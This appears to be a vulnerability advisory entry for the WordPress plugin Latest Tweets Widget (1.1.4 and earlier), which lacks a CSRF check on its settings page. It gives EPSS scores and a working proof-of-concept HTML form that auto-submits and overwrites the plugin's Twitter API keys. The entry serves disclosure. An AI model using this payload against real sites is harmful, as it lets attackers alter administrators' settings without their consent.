Latest Tweets Widget <= 1.1.4 - Arbitrary Settings Update via CSRF

2022-05-1800:00:00

Daniel ruf

0.001 Low

EPSS

Percentile

26.3%

JSON

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<form id="test" action="https://example.com/wp-admin/options-general.php?page=twitter-api-admin" method="POST">
    <input type="text" name="saf_twitter[consumer_key]" value="hacked">
    <input type="text" name="saf_twitter[consumer_secret]" value="hacked">
    <input type="text" name="saf_twitter[access_key]" value="">
    <input type="text" name="saf_twitter[access_secret]" value="">
</form>
<script>
    document.getElementById("test").submit();
</script>

0.001 Low

EPSS

Percentile

26.3%

JSON

Related for WPEX-ID:06E547FD-CDDF-4294-87BE-54F58D6138A7